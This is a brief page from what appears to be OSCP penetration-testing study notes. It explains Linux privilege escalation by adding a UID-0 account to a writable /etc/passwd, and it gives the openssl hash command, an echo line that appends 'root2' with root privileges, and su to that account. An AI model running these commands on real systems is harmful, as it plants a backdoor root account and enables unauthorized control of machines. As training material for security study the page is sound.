> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/linux-privilege-escalation/etc-passwd-override.md).

# /etc/passwd override

For backwards compatibility, password hashes present in /etc/passwd will override the ones stored in the shadow file. If we have write access to /etc/passwd we can simply add a new root account&#x20;

```
openssl passwd adot8
```

```
echo "root2:HASH:0:0:root:/bin/bash" >> /etc/passwd
```

```
su root2
```
